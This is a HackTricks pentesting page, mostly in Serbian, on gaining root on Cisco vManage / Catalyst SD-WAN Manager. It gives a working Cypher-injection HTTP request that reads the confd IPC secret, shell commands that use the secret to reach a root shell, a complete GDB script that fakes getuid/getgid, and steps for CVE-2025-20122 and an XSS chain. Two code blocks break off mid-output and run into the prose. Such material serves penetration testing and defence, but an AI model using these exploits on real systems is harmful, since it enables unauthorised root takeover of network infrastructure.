Cisco - vmanage
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Path 1
(Example from https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)
Nakon što smo malo kopali kroz neku dokumentaciju koja se odnosi na confd i različite binaries (dostupne uz nalog na Cisco sajtu), otkrili smo da za autentifikaciju IPC socket-a koristi tajnu smeštenu u /etc/confd/confd_ipc_secret:
vmanage:~$ ls -al /etc/confd/confd_ipc_secret
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
Sećate li se naše Neo4j instance? Pokreće se pod privilegijama korisnika vmanage, što nam omogućava da preuzmemo fajl koristeći prethodnu ranjivost:
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net
[...]
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
Program confd_cli ne podržava argumente komandne linije, ali poziva /usr/bin/confd_cli_user sa argumentima. Dakle, možemo direktno pozvati /usr/bin/confd_cli_user sa sopstvenim skupom argumenata. Međutim, on nije čitljiv sa našim trenutnim privilegijama, pa ga moramo preuzeti iz rootfs-a i kopirati pomoću scp, pročitati pomoć i iskoristiti ga da dobijemo shell:
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret
vManage:~$ /tmp/confd_cli_user -U 0 -G 0
Welcome to Viptela CLI
admin connected from 127.0.0.1 using console on vManage
vManage# vshell
vManage:~# id
uid=0(root) gid=0(root) groups=0(root)
Putanja 2
Blog¹ tima synacktiv opisao je elegantan način da se dobije root shell, ali kvaka je u tome što zahteva pribavljanje kopije /usr/bin/confd_cli_user koja je čitljiva samo za root. Pronašao sam drugi način da eskaliram na root bez te muke.
Kada sam disasemblirao binarni fajl /usr/bin/confd_cli, uočio sam sledeće:
Objdump prikazuje prikupljanje UID/GID
```asm vmanage:~$ objdump -d /usr/bin/confd_cli … snipped … 40165c: 48 89 c3 mov %rax,%rbx 40165f: bf 1c 31 40 00 mov $0x40311c,%edi 401664: e8 17 f8 ff ff callq 400e80Kada pokrenem “ps aux”, primetio sam sledeće (napomena -g 100 -u 107)
vmanage:~$ ps aux
… snipped …
root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
… snipped …
Pretpostavio sam da program “confd_cli” prosleđuje user ID i group ID koje je prikupio od prijavljenog korisnika aplikaciji “cmdptywrapper”.
Moj prvi pokušaj je bio da pokrenem “cmdptywrapper” direktno i prosledim mu -g 0 -u 0, ali nije uspelo. Izgleda da je negde tokom izvršavanja kreiran file descriptor (-i 1015) i ne mogu ga lažirati.
Kao što je pomenuto u synacktivovom blogu (poslednji primer), program confd_cli ne podržava argumente komandne linije, ali mogu da ga utičem preko debugger-a i, na sreću, GDB je prisutan na sistemu.
Napravio sam GDB skriptu u kojoj sam primorao API-je getuid i getgid da vrate 0. Pošto već imam “vmanage” privilegiju kroz deserialization RCE, imam dozvolu da direktno pročitam /etc/confd/confd_ipc_secret.
root.gdb:
set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run
Konzolni izlaz:
Izlaz konzole
```text vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli GNU gdb (GDB) 8.0.1 Copyright (C) 2017 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or laterPut 3 (2025 greška u validaciji unosa CLI-ja)
Cisco renamed vManage to Catalyst SD-WAN Manager, but the underlying CLI still runs on the same box. A 2025 advisory (CVE-2025-20122) describes insufficient input validation in the CLI that lets any authenticated local user gain root by sending a crafted request to the manager CLI service. Combine any low-priv foothold (e.g., the Neo4j deserialization from Path1, or a cron/backup user shell) with this flaw to jump to root without copying confd_cli_user or attaching GDB:
- Koristite svoj low-priv shell da pronađete CLI IPC endpoint (obično
cmdptywrapperlistener koji sluša na portu 4565 u Path2). - Sastavite CLI zahtev koji falsifikuje UID/GID polja na 0. Greška u validaciji ne primenjuje UID originalnog pozivaoca, pa wrapper pokreće PTY sa root privilegijama.
- Prosledite bilo koju sekvencu komandi (
vshell; id) kroz falsifikovani zahtev da dobijete root shell.
The exploit surface is local-only; remote code execution is still required to land the initial shell, but once inside the box exploitation is a single IPC message rather than a debugger-based UID patch.
Ostale nedavne vManage/Catalyst SD-WAN Manager ranjivosti za lančano iskorišćavanje
- Authenticated UI XSS (CVE-2024-20475) – Inject JavaScript in specific interface fields; stealing an admin session gives you a browser-driven path to
vshell→ local shell → Path3 for root.
References
- Cisco Catalyst SD-WAN Manager Privilege Escalation Vulnerability (CVE-2025-20122)
- Cisco Catalyst SD-WAN Manager Cross-Site Scripting Vulnerability (CVE-2024-20475)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


